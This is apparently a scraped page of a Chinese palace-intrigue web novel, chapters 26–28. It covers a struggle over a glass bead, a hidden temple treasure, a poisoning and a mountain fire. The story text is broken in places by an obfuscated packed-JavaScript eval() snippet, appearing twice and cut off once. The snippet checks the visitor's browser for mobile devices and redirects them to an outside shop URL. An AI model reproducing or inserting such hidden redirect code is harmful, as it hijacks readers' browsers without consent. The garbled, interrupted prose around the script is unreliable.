回想昨晚的情景,孙广全处事谨慎,昨夜未把她的话当求生所说的胡言乱语,来的时候还一并带了太医为她处理伤势。 “何事能关乎皇上性命,若无中生有,小心你的人头落地。” 苏月清倔强仰着惨白的脸,语气淡然。 “公公还是将我带出去比较好。” 毕竟是宫里的老人,他拿准苏月清不想死的心思,做主为她治疗。 给了恩惠,并不代表他会任凭一个失了势的宫女拿捏。 听到这句话孙广全眼眸渐冷,抱着拂尘静静立在牢房门口,随后微微勾唇露出一抹不达眼底的笑,是审视是嘲讽亦是探究,还有位高者的威严。 苏月清瞬间僵在原地,因为她看到孙广全身后露出来的两把长剑,在暗处分外刺眼。 是清武帝身边的暗卫,竟是跟着他一起来了。 他再次开口时声似是规劝,又像威胁,宛如一条毒蛇慢慢裹住她的脖颈,让她呼吸困难。 “月清,在宫里讨生活的人,一旦没命就什么都没有了。” 苏月清顿时冷汗直流,最终缴械投降。 “我发现有人暗中给皇上下毒,今夜就会毒发。”生怕孙广全不信,她顿了顿,再次扬起她坚定的脸,语气笃定,“此毒只有我能解。” 孙广全弯了弯眉眼,身后的暗卫将长剑收了回去,他微微弯腰抬手做了一个请的东西。 “还请月清姑娘不要辜负皇上的信任。” 她就这样出了天牢,虽然不是自由身,可总归是走了出去。 孙广全也没完全相信她的话,与此同时还派人通传了太医的全部太医去清心殿门外守着,他则进去守着在浅眠的清武帝。 床榻上的清武帝用手枕着头,低声冲孙广全喃喃道:“孙广全,出什么事了?” 孙广全恭敬哄着他道:“皇上,没事。” 子时一过,刚睡过去的清武帝忽然开始头疼起来。 守在外头的太医一个接一个的进去出来,可都查不出什么症状。 苏月清跪在地上,白着一张脸,轻微对身边的人出声:“孙公公,我说了这毒只有我能解开,害了皇上对我没有任何好处。” 现在除了信她别无他法,但苏月清只是帮清武帝搭脉后让人去她房中取来的银针。 施针时独特手法瞬间让现场的太医认出她用的是‘九转金针’,这技法是一位避世不出的老神医的独门绝技,他膝下只收过一名弟子。 眼下这个情况不言而喻,那名弟子正是苏月清。 她神医之徒的身份就此暴露。 清武帝顿时口吐黑血,吐完黑血后人就清醒过来,而她众目睽睽下救了清武帝的性命,完事后被恭敬送回自己的房间,送她离开的人一改方才趾高气昂的态度,对她神色都恭敬了起来。 四下无人给自己喂了一颗药丸,确保自己伤能好得快些,但招架消耗过度撑不住昏睡过去。 扣、扣—— 有人敲门。 推门进来的孙广全一脸春光明媚,笑得合不拢嘴,说话语气都恭恭敬敬的。 “苏侍女,大难不死必有后福啊。” 苏月清微微抬眸有些不解。 “苏侍女救了皇上的命,现在皇上恢复得差不多正要过来探望苏侍女呢。” “麻烦皇上了。” 皇帝亲自登门探望,是莫大的殊荣,在后宫中足以震慑那些不长眼的宫女。 苏月清不经意理了理自己的头发,就这么等着清武帝到来。 进门的清武帝面色还有些苍白,并没完全恢复,她趴在床上并未动弹。 “苏侍女可有什么想要的赏赐?”因是自己刚被苏月清救回来,清武帝并为在意这些礼节,反而好声好气的跟她说话。 “我想出宫。” * 护国寺。 悟尘打开盒子取出里面的珠子,珠子接触到日光,瞬间散发烨烨光芒。 在场的人目光瞬间投到珠子身上。 这不是药珠。 李之夭看到珠子后脑海里瞬间便笃定这不是她之前手里的那颗。 她看过药珠,在日光下根本不会发出这么强烈的光。 这一瞬间,从她进宫出来后所有觉得不对劲的地方顿时清晰起来。 “是千里香。”杨刻闻到那股沾染在珠子上的香味,往前几步,“喂,老和尚,快把琉璃珠给我。” 一手端着盒子的悟尘尚立在原地一动不动,并不想把琉璃珠给他们任何一个人。 悟尘看着李之夭,只问她:“小友可还记得是为何而来?” 她一阵恍惚,思绪飘远。 觉醒后来她到大魏,过去时常借口出宫来护国寺为由,一方面在城里暗中发展自己的势力,另一方面确实来护国寺焚香祷告,感念上苍给她这次觉醒翻身的机会。 当日因旧国亡故,如今新皇虽是她舅舅,但她始终不是大魏人,常常想念燕国。 虽念得,并不能去到燕国旧土,她看得出来,清武帝虽给她公主的荣耀,也在提防她。 她于冬日遇到玄心大师,他身着袈裟撑伞信步走至护国寺的庭院为她遮住漫天风雪。 十五岁的李之夭面朝院中参天银杏树,枝丫秃凋,驻足良久,脑子里是觉醒后的自己和不得不面对的现实,以及对往后的迷茫和无助。 道阻且长,亦艰难。 世人皆知玄心大师从小便在寺庙修行,或是游历天下普度众生,至今八十余载。 如今初次见到高僧面容,一眼神圣充满佛性,彷佛望尽众生,他身后青山覆雪,天地苍茫。 玄心为她撑起一把伞,没了遮挡的身任雪飘零,他拂去李之夭身上的落雪。 慈祥和蔼,让她念起还在燕国时那位往宫里送菜的老伯。 老伯会偷偷给她带自家做的酥饼,摸她的头,跟她说也是个苦命的孩子。 天下苦百姓苦,身在皇室亦苦。 燕国地广物稀,西边还有连绵不绝的雪山沙漠,他们的青山绿水红花远不及大魏和北唐。 前朝燕国,一百六十八年,燕国先皇李道为驾崩,享年八十六岁,六十岁的太子李宣成继位,念着早年大魏先皇和燕国先皇有约,将来燕国太子登基,大魏会派出一名公主和亲。 谁知李道为把持朝政多年,后来年纪上来也不愿退位让太子李宣成继位,李宣成从原先的少年壮志逐渐在时光中磋磨了心性,日子一天比一天懈怠。 皇帝老眼昏花,头脑不清,口舌也不清,更是没几日清醒的时候,朝中小人拉党结派,贤臣如履薄冰,不得谏言。 李道为驾崩死在他的龙椅上,同年李宣成继位。 而此时符合条件能履行诺言的大魏公主或适龄郡主更是一个皆无。 就算有谁也不愿将自己的女儿远嫁到一具臭皮囊身边。 届时李之夭的舅舅连慎已在朝为官,从一名文官转投到马背上为大魏打天下。 大魏先帝为钳制连慎,便将主意打在他的胞妹连漱身上。 以边城将士和百姓为由逼他让妹妹出嫁,连慎并不同意,连家其余人为保荣华富贵和皇帝恩宠以死相逼,让他进退两难。 连漱为保全两国和平,终是接下册封郡主的称号,只骑了一匹马带了一个随从嫁到燕国。 次年立冬诞下一名女婴,取名为之夭。 后来李宣成岁渐长,痴迷炼丹,更是无心朝政,她们娘两在后宫里日子并不好过。 李之夭没学会隐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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母妃殉国的那日,她跪在地上给自己的舅舅磕头,低头时头次看到从砖块下破土而出的嫩绿新芽。 她初次见玄心,是腊月,亦是她来到大魏的第一个月。 那日的雪不大,却足足下了一整天不见停。 “公主选择或不选,纠结归处与来处,不妨专注当下,路上繁花美景,总有你驻足停留那日,鹤迎春山,今见桃花。” 护国寺日日诵经,供奉着历代大魏皇帝的牌位,山间钟声不断,溪水蝉鸣鸟语花香,这里的景色跟燕国不同,平原广袤,土地肥沃,皆是泱泱之姿。 李之夭外出办完事之后就回来在玄心身边发呆,时不时跟他说上两句话,悟尘就在远处看着。 朝中大臣派来的杀手步步紧逼,她不过三个月未去护国寺,便传来玄心大师圆寂的消息,直到那颗舍利子送进了宫中。 回想至此,她红了双眼。 琉璃珠才是裴淮真正想要的! “踏雪飞鸿,抢过来!” 琉璃珠她绝对不会给裴淮,药珠也不会。 “拦住他们!”杨刻和青鸢拔刀靠近悟尘。 她必须要让裴淮死在大魏,死在自己的眼皮子底下。 暗卫飞身而出,长剑出鞘,挡开青鸢和杨刻的兵刃,立在悟尘身前。 “悟尘,莫不是你想言而无信?”裴淮一双凤眸紧盯悟尘手上盒子,生怕珠子出了一点意外,言语间尽是威胁。 他说完手指指向李之夭,目光却是死死盯着悟尘,满腹委屈。 “你是北唐人,你答应过我的。”裴淮双眼通红,字字句句咬得极重,“为什么还要把大魏的人引过来?把她引过来给我添乱!” “阿弥陀佛。”悟尘叹口气,“殿下,早日回头才是。” “我不听!”裴淮低吼一句,双唇颤抖,“凭什么……” 他低吟一句,尔后声音陡然拔高许多。 “我做这些全是为了回北唐夺回属于我的东西,你凭什么劝我!” 语罢他猩红双目如鬼死死盯向李之夭。 “你一个亡国公主凭什么站在一个毁了你家国土地上替他们当牛做马,贪生怕死就不应当出生在王室过着锦衣玉食的生活。” 26. 琉璃 第26章 李之夭目光怔怔看向远方,片刻才沉声开口。 “从前我并未享受过公主的待遇,吃的穿的用的那些所谓好生活全是我抢来的,燕国王室从未正眼看过我,他们从未接纳我踏进燕国王室的圈子,死后凭什么我要为他们竖起燕国风骨的旗帜,活在他们的枷锁下,你说我凭什么?” 她将目光收回,往前迈了一步几步,原本双方暗卫打的不可开交,此时都停了下来,彼此的剑架在对方的脖子上。 “我知道你的意思,可我偏偏不愿意,现如今大魏皇帝是我的舅舅,他给了我公主的荣誉和享不尽的荣华富贵,我为什么要选择艰难的路走下去,而不是选择一个比较轻松的方式生活?” 她本就不是一个愿意吃苦的孩子。 李之夭嗤笑一声,自己这样的觉悟,难怪只能成为女配。 可怜的自尊心在认清现实后,变得一文不值。 城门是百姓自己打开的,灭国是上位者的无能,和位下小人作乱。 燕国百姓没有伤亡一丝一毫,就迎来一位怜爱他们的皇帝,更是减免赋税,让他们得以休养生息,安稳太平。 若想复国,她凭什么自私的结束他们安稳生活,来完成她的上位者愿望。 倘若王室之人不能看到百姓,让他们再次经历水生活热的战争生活,发动战争的她就是罪魁祸首。 李之夭上前走到悟尘跟前,裴淮去悟尘手里抢夺琉璃珠却被他轻易躲开,悟尘飞身立在残垣上,单手立在胸.前,一手稳稳拖住盒子。 “阿弥陀佛,殿下,琉璃珠贫僧不能给你,若想疗伤,贫僧愿竭尽全力,北唐内部争斗,莫要牵扯无辜。” 裴淮动气咳出血来,“无辜?大魏皇帝连慎吞并燕国,倘若北唐无所作为,下一个遭殃的就是北唐!” 悟尘余光朝别处撇去,忽然一枚石子儿弹出打落悟尘手里的檀木盒,他没第一时间去接住盒子。 踏雪眼疾手快率先撤回长剑朝落地的檀木盒子而去,杨刻同青鸢见状争先赶去,飞鸿一人拦住两人争取时间。 李之夭见裴淮也上前,则捡起地上的石头就朝他砸去,裴淮躲闪时踏雪早就捡起地上的檀木盒子退到身后。 李之夭拿出盒子里的琉璃珠细细一看,确实不是药珠,早就被人换了。 想起方才那枚石子儿,定是在夜里被换掉的。 否则时雨怎会无缘无故被人打晕,对方劫财却没将药珠带走。 螳螂捕蝉黄雀在后,纪无涯,好手段。 “怎么还出手帮她?”寻方诧异地瞥向身边手里还捏着碎石子儿的人。 纪无涯没有回应他的问题,从一开始李之夭等人的话他们全部听得清楚。 莫名想起在山脚下她的说话,鬼使神差的他出手帮忙打落在悟尘手里的盒子。 “现在你下去将人带走送回皇宫里,清武帝撤走宁缘城里的驻军,缘楼危机就能化解,我带璃王离开,反正现在药珠到手也能活命,就不要跟这些人牵扯太深。” 寻方用手肘拐了拐身边的人。 纪无涯应了一声,见他答应,二人纷纷从暗处飞身而下,落在一旁的空地上。 “缘楼十三,宿宁公主,奉命带你回去。” 纪无涯出声,漆黑的眼眸望向李之夭,语气平平。 李之夭往后退了一步,裴淮见她注意力被人分散,铆足劲儿起身去抢夺手里的琉璃珠。 见状顿时生出鱼死网破的想法,她捏紧手里的珠子,下定某种决心,对准断壁狠狠砸了上去。 怦—— 东西碎裂的声音清晰传来。 惊得在场所有人不约而同停下动作,有人不解,有人早有预料,有人满目怨恨,有人风平浪静。 碎片四溅,被日光照得发亮。 几人争夺不休的东西,她拿到却又被她亲手毁掉。 “李之夭,你凭什么毁掉它!” 裴淮说话期间,他身边的死士赶来将他们齐齐包围。 踏雪飞鸿挡在李之夭跟前,“主子,属下为你杀出一条血路掩护你先走!” 李之夭拍了拍他们的肩膀从身后走出,时雨已经去请秦立山,只要她不走,裴淮也不会走,她若走了,怎么将裴淮一网打尽。 “你们能脱身去让庙里的人撤离,撤离后去找秦立山,能做到吗?” 踏雪点头:“但主子你……” “没事,届时若是打起来,今日庙里有很多百姓,难免会波及。” 他们二人很快脱身离开。 李之夭冲纪无涯扬起笑吟吟的脸:“我记得皇上说要的是我毫发无伤的回去,你确定还要离我那么远吗。” 清武帝请缘楼的人出来找她的命令,她怎会不知道。 包括纪无涯的身份,他素来没隐藏行踪名讳的情况,派出去的人去江湖上一打听,谁都知道喜欢使银币的人是谁。 她转头望向高处的悟尘,微微眯了眼。 “你以护国寺玄心大师圆寂的舍利为由将药珠送进宫中,我得知玄心大师的舍利事有蹊跷便会想方设法出来,一直留在宫外,并且会将药珠拿来,而你本是打算用药珠去帮裴淮,谁知因为纪无涯在半道将我的侍女打晕偷换了两颗珠子,误打误撞药珠去到纪无涯手里,琉璃珠却到了你的手中,在山下裴淮早就知道盒子里的不是药珠而是琉璃珠,他本打算将计就计获得琉璃珠,但因为我的出现搅局,导致琉璃珠遭到破坏。” 李之夭顿了顿,继续说道,“至于你为何绕那么大的圈子先把药珠送进宫里不直接给裴淮,因为那是你的讯号,朝宫里求救的讯号。” 根据书中剧情,当年这时候她尚在宫中,因不认识玄心大师,所以跟护国寺这边就没搭上线,再者后面也就不会有舍利送进宫的消息。 前面剧情节点确实发生了改变,可她依旧被苏月清解围,换做以前心性定同苏月清情如姐妹。 现在不同的是过程发生了改变,结果也会改变。 就像现在她能砸了琉璃珠,粉碎裴淮的梦。 不光如此,她还要将裴淮亲手送上来的铺子全变成她名下的东西。 让他经营这么多年的东西付之东流,一无所有。 不给他任何反噬大魏的机会。 悟 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“或许吧,不过好在我们的人知道宝藏所在,先派人过去守着,不能再出任何差池。” 唯一能打开大门的东西就是琉璃珠,如今珠子毁了…… 他忽然想到什么,眸子一变。 “杨刻,去派人搞些火药来。” “啊?” “既然不能悄无声息的取出来,那就搅得惊天动地,炸了凤山,我一定要把东西拿出来,就算败露,到时候押运财宝的人是银来庄那群蠢货,也追究不到咱们头上。” 杨刻点点头,“我知道了。” “今晚务必要动手只给你四个时辰的时间。” 既不让他活,那他就跟大魏人拼了。 何况区区一座护国寺。 * 秦立山被一掌打得后退几步,在土地划出一道痕迹,面上大汗淋漓。 他皱眉望着拦在面前十二岁的小姑娘,不知对方是何神圣,竟能跟他过手几百招。 对方来势汹汹,点名道姓指着他要比试比试武功,起初秦立山不同意,谁知小姑娘不依不挠,还打伤他手底下的两名士兵。 对方丝毫没有退让之色,秦立山心底那股牛脾气上来,自然也不肯服输,若是输了,岂不掉面子。 一来二去,耽误不少时间。 “大将军,你还行不行呀?” 秦立山拭去面上汗水,再次跟对方拳脚搏斗起来。 二人皆没动兵器,只在拳脚上见真章。 头顶烈日炎炎,时雨在后面着急。 “大统领,上山要紧!” 秦立山闻声回头,雪躲开他的攻击绕过秦立山来到时雨跟前。 “姐姐,别人打架的时候不要说话,不礼貌。” 她说完将时雨打晕,“大将军不会临阵脱逃吧?” “照顾好时雨。”他吩咐道,显然这场比试不分出个胜负出来是不会善罢甘休,“小鬼好猖狂的口气,今天你秦爷爷就来好好会会你!” 27. 毒妇 第27章 待纪无涯一行人回到护国寺,百姓已被疏散下山,但寺庙里的僧人并未离开,见到悟尘的一瞬间纷纷围拢上来。 “你快带人下山。” 李之夭对悟尘道,“他的目标是我,不会为难你们。” 悟尘没推辞径直领着寺庙的僧人下山,只对她留下一句万事小心。 现在秦立山并未按照约定赶来,只怕他那边出了意外,而变故的来源只会是纪无涯。 当时她布局今日行动,纪无涯都在场,当时寻方跟他的话李之夭也听得明白。 “为什么?”她定定看着他。 纪无涯知晓李之夭话为何意,坦然回答:“我需要他找一样东西,我不能让你取他性命。” “何物?” 恐怕这才是纪无涯真正目的。 书中并未提及纪无涯或是裴淮手上有何值得他大费周章也想拿到的东西,药珠已被偷天换日落入他的囊中,还有什么值得他亲自下场。 李之夭想不明白。 现在的剧情发展宛如一团乱麻,他们一行人彷佛困在其中,怎么找都找不到头。 “此物你应当听过,它是燕国开国皇帝曾游历山川时所写下的手册,燕国灭亡皇宫被毁,只剩断壁残垣,我去过燕国旧址,那里什么都没有。” 纪无涯说完指尖抛出一枚银币,于半空中接住。 寻方想出声制止,“师兄……” “告诉她也无事,她是燕国公主,裴淮若不知晓就只剩她了。” 李之夭回想燕国历史,当初燕国开元帝确实外出游历过一段时间。 “开元帝确实外出游历过,史册记载他外出七年之久,朝中大事皆为丞相主持,后开元帝归来并未带回什么,不知你说的是何物?” “《下月集》。”他轻轻吐出三字,却让李之夭半晌未曾回过神来。 原因无他,是她在燕国这么长时间都只闻其声不见其物。 “《下月集》是开元帝所著,可我在燕国从未见过,我母妃说这本书早就失传了。” 纪无涯微微垂下眸子,“是么,既然你们燕国皇室不知,就只剩下裴淮了。” 他清楚记得,前世裴淮手里就有《下月集》的残卷。 李之夭懊恼自己说错话,若她不行,纪无涯想要书,必定去裴淮身边找线索。 若去裴淮身边,这不就是让他去投靠么? 剧情依旧被扭转过去。 想到此拍了自己的脑袋,眨眼换上一副她惯用的求人示弱手段。 上前一步拉住纪无涯的手腕,“纪无涯,我能帮你找,只是你答应我的不去找裴淮,这么快就说话不算数了?” 话音最后,她低声可怜询问,知晓纪无涯的弱点,在大魏皇宫练就炉火纯青的技术,轻松红了眼眶。 目睹宿宁公主快速变脸的寻方尤其震惊。 难怪是个麻烦。 纪无涯将她手拿开,但刚握上去的一瞬间李之夭反而抓着他的手。 柔夷触碰,下一秒仿佛要化在他滚烫的掌心,偏偏罪魁祸首不依不挠。 “你说话不算话,纪无涯,枉我给你那么多钱。” “你……” “死到临头还有时间眉来眼去!哼!我就说你们是一伙的!” 杨刻的声音传来,紧接着杀手尾随而至把他们三人围个水泄不通。 他双手环胸走到人前一脸鄙夷得将他们上下打量一番,最后落在李之夭抓着的手上,随即冷脸。 李之夭松开手缩到纪无涯身后,软着声音道:“纪无涯,别忘了,我可是得毫发无伤的回宫里去。” 说完她冲杨刻勾起嘴角嘲讽的弧度。 “主子欣赏你,想拉你入伙,没曾想你是李之夭身边的人,要是入伙这还了得!”他说完余光瞥到李之夭,却见她在挑衅自己,拔高声音,“李之夭!等我抓到你一定要把你千刀万剐!” 杀手立刻蜂拥而上,寻方跟纪无涯不得不出手抵抗。 似乎认定他们二人比较棘手,大多数人选择一起围攻,放松李之夭那边的警惕。 寻方反应过来,冲纪无涯吐槽道:“麻烦公主故意拖延时间,她想等北唐的杀手来!” 纪无涯下意识朝李之夭方向望去,只见她趁乱匆忙朝护国寺一处偏殿逃去,他想追去,就被杨刻拔剑拦住。 “想去救人?没门,今日我倒要看看你有多厉害,能让主子不惜自报身份招揽你入门。” 感激杨刻出手拦下纪无涯,不然她还真不好追,身后的追兵被去而复返的踏雪一剑封喉。 合上门用门栓扣好,她背靠大门大口喘气。 “主子,接下来怎么办?” “跟我来。” 李之夭带踏雪朝房间深处走去,看到财神像踏雪才明白此处是财神殿,早上求财的百姓众多,此时功德箱早就塞满铜板银子银票,案上瓜果堆成小山,香火也多。 她轻轻转动一旁的小财神像,屋子墙壁翻转,露出一道暗门。 踏雪拿起供桌上的蜡烛,率先走进暗门,暗室的门从里面关上,恢复方才的宁静。 没多久屋子的门被人从外面撞开,杨刻口里不忘念道:“就算逃进阎王殿里也没用!” 然后现场无人回应他,只见悬挂在半空中的经幡随风晃动,没一点有人在的样子。 “给我搜!” 于包围圈逃脱的师兄弟在高处观察底下的情况,传来翻箱倒柜的声音还有杨刻气急败坏的叫骂声,纪无涯收敛目光。 “走吧,她应当也玩够了。” 相比较外面的兵荒马乱,暗道里的李之夭就比较轻松。 踏雪举着蜡烛精神紧绷,生怕前方依旧有埋伏。 “这条通道通往后山,只有我和玄心师父两人知道,很安全,不必那么紧张。” 踏雪绷直的背脊松了松。 李之夭道:“秦立山情况如何?” “飞鸿过去了,属下不放心主子你便回来了,若有情况会与我通信。” 踏雪说着见到前方路口有隐隐约约的光亮,待走近拨开挡住洞口的绿藤,出口是一个山洞,走出山洞便是后山。 李之夭没立即下山,取出袖间藏着的小木哨,吹响唤来一只通体雪白的雪鸮,取下发饰上一个小饰品装进雪鸮脚上的信筒里。 雪鸮展翅飞走。 “我还得感谢纪无涯的人帮我拦住秦立山赶过来的时间。” 李之夭神色轻松,她和踏雪待在山洞里,后山寂静,只能偶尔听到 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耿进才点头,“前段时间让我们留心混进城里的势力,发现他们刚进城之时来了凤山,排查过去发现藏宝物的地方,只不过那里附近有他们的暗哨。” 耿进才在前面带路,顺着山溪,一路往后山深处走。 日落西山,他们来到一处凹地,抬头能看到玄心大师在山顶的小院。 他们位置靠近山顶,不是在正面,而是在背面。 裴淮在一处石壁前站着,石壁中凹进去一块,那里本是放置琉璃珠的地方。 小二从身后包袱取出两串炮仗点燃引线甩出去。 紧接又甩出好几串炮仗,震得满天响,混在炮仗里的迷.药满开,杀手闻声上前,纷纷中招倒地不起。 裴淮警觉反倒没有中招,只不过多多少少吸入了些,但保存了理智。 李之夭从暗处走出,手里还拿着一块帕子,她笑盈盈地走向摇摇欲坠的裴淮。 “璃王殿下,风水轮流转。” 裴淮捂着鼻口闷声道:“你怎么会出现在这里?” “你都能在这里,我为何不能?” 李之夭朝他走近一步,裴淮便往后退一步,直到退无可退,后背抵上石壁,他摸到一旁的长剑,拿剑冲她而去,不给他靠近的机会,就被李之夭身边的女暗卫踹飞。 中了迷.药的缘故,他浑身使不上力气,况且踏雪那脚铆足劲,让他未好的旧伤又添新伤,重重摔在地上,胸口闷堵呕出一口血。 “你这个毒妇!” 李之夭蹙眉,“哎哟。”随后再弯了眉眼,“现在我都能捞到个毒妇的称呼了。” 说罢在裴淮跟前缓缓蹲下,拿出手里帕子冲他晃了晃。 “你、你想干什么?!” “放心,无色无味,闻一下就能安安心心上路。” 李之夭光是笑就让裴淮心底发毛,他挣扎起身,后背再次传来猛烈一击,他趴在地上,踏雪踩着他的后背死死压着。 裴淮恐惧地看着李之夭手里越来越近的帕子。 “不、不要!李之夭你这个疯子!” 帕子捂上他的鼻口,须臾间手下的人不再挣扎,安静躺在地上。 此时太阳落下。 夜,降临。 28. 平局 第28章 苏月清好不容易从清武帝那里获得出宫的机会,顾不得伤势趁天色尚未完全暗下便去杨刻所说的地方找裴淮。 小院昏暗,连门口的灯笼都未点亮。 她怀疑是不是裴淮故意诓骗她,报复上次没有带他疗伤的事。 苏月清推开小院的木门,迈进一只脚一柄长剑直接横上她的脖颈。 “谁?” 听到是认识的人的声音,苏月清吞了吞口水忙道:“杨刻是我。” 杨刻收回长剑,从门后走出。 “苏姑娘,你怎么出来了?难不成是送药珠?” 苏月清顿了顿模棱两可说道:“你家主子在哪里?带我去见他。” 当他们再次回到凤山就看到这样一幕。 地上横七竖八躺着一堆人,不知是死是活,远处裴淮静静趴在地上浑身染血,夜间的风呜咽低沉吹着。 杨刻青鸢二人上前查看裴淮伤势,苏月清蹲下身试探其他人脉搏,便听到杨刻的声音。 “主子!” “主子!你快醒醒!” 苏月清快步上去,推开青鸢蹲下搭脉。 “气急攻心导致旧伤复发,还中毒了,得赶快为他医治。” 说着取出身上银针简单消毒后就要给裴淮扎下去。 青鸢一把拽住她的手,眼神警告,“你会医术?” “你不想我救他那就算了。”说着一边收手一边望向杨刻,眼神有些委屈。 “救!青鸢,现在我们只能相信苏姑娘了。”杨刻咬牙拿定主意,她不至于会害死自己主子,随后一脸焦急的请求苏月清,“苏姑娘,请你救他。” 苏月清余光抛向青鸢,“可是有人不想我还是算了吧。” 青鸢抱拳颔首:“是我错了,请苏姑娘救人。” 苏月清冷哼一声才慢悠悠为裴淮施针。 而此时李之夭等人却是早已下了山,他们带上山来的人身后或多或少都背了一袋东西,袋子里装的是从山洞里拿的财宝和书籍。 她起初以为山洞除了琉璃珠别无他法打开,但看到门上除了琉璃珠的印记外还有阴阳八卦,每个位置又是对应不同的方位,根据上面的图案,则是对应护国寺八个方位的佛殿。 裴淮当时应该是在看这个。 此处结合道佛两家,想解开并不难。 只需要根据佛殿所在方位依次摆放相应图案就能成功。 她过去常来护国寺,清楚知道每座寺庙的位置。 自信满满地将图案归位可石门并未如期打开。 李之夭怔在原地,脸色白了一下还闪过尴尬。 不得不转头继续研究石门上的图案,归位后的图案是反位,非正位。 她想将图案放置成正位,但正位的图案并不符合。 耿进才在一旁跟小二互相对视,两两皆是抓耳挠腮难度困惑。 同样踏雪也满是迷茫,她在训练营并未接触过机关这类的学习。 四人凑着看了一会儿,天色黑了下来,其他人在原地休整,并且点亮了火把照明。 小二终是泄气地长叹一声。 “不行了不行了,这东西看不明白,颠三倒四的,完全看不懂,符合的位置都相差十万八千里!” 李之夭听小二这么一说,颠三倒四,相差十万八千里,忽然脑中灵光一闪。 图案归位后是反位,是不是意味着还得将八卦位置再对换一遍。 根据伏羲八卦,乾位对应坤位,两者相反,乾位就成了坤位,顺时针也就由原来乾巽坎艮坤震离兑,变成坤震离兑乾巽坎艮。 李之夭按照方向一一对换,下一秒禁闭的石门打开,而藏在里面的宝藏也终于露出它原本的面目。 除开少量的财宝,大部分都是书籍,石壁上刻画着的这批财宝的由来。 “这石壁上画着的是什么?”小二跟在后面挠挠头,不解出声。 “石壁上说护国寺初次建成时收留了一批从他国逃来的土匪,土匪押运了大量财宝还有古书来到护国寺,他们原本打算杀光寺里僧人来保全自己,千钧一发之际第一任护国寺主持救了重伤的土匪头子,善举感化土匪,土匪就将财宝古书就在这里,将其中一颗琉璃珠拿出来作开门钥匙,后怕琉璃珠毁坏,就根据护国寺设计了机关,只要能解开机关就能打开这道门。” 这批财宝李之夭看了看不光有大魏的,还有燕国的图腾印记以及北唐的。 书籍更是搜罗四海八荒的古籍,更有失传已久的书本再度现世。 “比起金银,这些才是当之无愧的财富。”李之夭手摸着古籍,满目慰藉。 “耿进才,优先取书,这些可都是好东西。” “是!” 耿进才张罗着外头的人进来搬东西,趁裴淮还没醒,为生事端,小二又出去给每个人多加了些迷药剂量。 众人忙活大晚上,听到踏雪进来回禀说杨刻带人回来了,他们重新合上石门离开。 她给裴淮的帕子确实沾了毒,杨刻他们过去就算去城里找大夫解毒医治时间也来不及。 除非他们身边有人医术高明,能立刻帮其解毒。 苏月清还在牢里,裴淮身边的人谁会医术她自是知晓,所以裴淮他们是救不活了。 李之夭轻轻勾了勾唇,只觉前所未有的轻松。 剩下的人等秦立山赶来就能一网打尽。 耿进才等人驾马离开,踏雪也适时藏了踪迹。 “公主!” 秦立山匆匆赶来,面上大汗不止。 “公主你没事就太好了!” 秦立山身边并无那个小姑娘还有纪无涯等人的踪迹。 “秦大统领,我在这儿!” 李之夭说完忽然身后传出一阵爆炸声。 爆炸从山顶传来,火势迅猛,瞬间点燃凤山一整座山头。 她惊恐地回头,只见爆炸还在继续,仿佛要把整座山都炸毁一样。 流火四蹿,竟也落到了护国寺院内。 地动山摇,护国寺里摆放的烛台倒塌,火舌撕咬上帷幔经幡,趁他们上山之际,护国寺院内早已变成火海,比林中火光还要旺盛。 禁军迅速传信到城里派遣更多的人过来救火,秦立山拉住还要往前的李之夭。 “公主,太危险了!让属下去!” 不知为何,一股强烈的念头再次涌上李之夭心头。 是他,一定是他! 他还是没有死! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13660178|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死死咬住下唇,火光倒映在瞳孔,把她的恐惧无限放大。 明明给他下了毒,为何就是不死! 李之夭控制不住自己的机智挣脱秦立山的手,朝着后山奔去。 秦立山带人紧跟其后。 一路狂奔,带着烧焦的草木和呛人浓烟,都被炙热的风携来,连带着盛夏的炎热,将她汗水打湿的鬓角烘干,潮湿再次烘干。 她来到后山山坳,迎面堵上想撤离的裴淮等人。 李之夭双手撑着膝盖佝偻着身子,大口大口喘气,喉咙间的血腥味还在往上翻,让她找不到时间说一句话来。 看到裴淮身后面色苍白的苏月清,她顿时明白为何能死而复生。 她千防万防的人还是来到了这里,再次将裴淮从鬼门关拉了回来。 “我当时就应该一刀砍了你。” 裴淮因刚被救活,身体还很虚弱,杨刻背着他。闻言他朝李之夭露出一抹嘲讽的笑。 “李之夭,你心还是不够狠,再次给了我活命的机会。” 裴淮说完咳嗽几声,苏月清忙又为他扎上几针。 “你知道若是你栽在我手里我会怎么做?” 李之夭沉默。 “我会一刀一刀将你凌迟致死,让你再无活下去的可能。”他目光发狠,语气炫怨毒,话锋一转,他清笑一声,“你的毒厉害,可惜上天怜悯,让我吊着一口气等到清清。” “主子,禁军来了。”青鸢探查回来,杨刻不敢再做逗留,背着裴淮就走。 而赶来的秦立山正好撞上,两拨人瞬间打成一片。 厮杀拼喊夹杂着刀剑碰撞声,在山林火海中一浪又一浪。 裴淮的人狡猾,绕有秦立山在场,火势太大,还是让裴淮一行人逃了。 只剩满天大火,宣告这次他们互为平局。 李之夭没能如愿杀了裴淮。 裴淮也没如愿将宝藏带走。 “不,我还赢了他一局。” 李之夭抬眼,跟在暗处的踏雪飞鸿道,“他的铺子,如今裴淮逃了,但他名下所有铺子全都在我手里,他跟银来庄的买卖还在,裴执还在劳中,只要他们不碰面,裴淮留在京城,就还是逃不出我的手掌心。” 秦立山现在去追人,只留下几名禁军护送,到山脚时踏雪飞鸿现身打晕禁军,放置在安全的地方。 而他们直奔银来庄。 今夜凤山发生了有史以来最大的一场大火,护国寺烧毁严重,无一幸免。 山顶的小院在火海中倒塌,纪无涯等三人在远处。 雪牵着他们二人的衣角,脸被火光照得红通通的。 “可惜了这么好的屋子,我记得好像十三师兄是不是在这里住过?” 说完她和寻方纷纷侧头,漆黑的瞳孔中光芒闪烁,他长久的伫立在那里,是无尽的沉默。 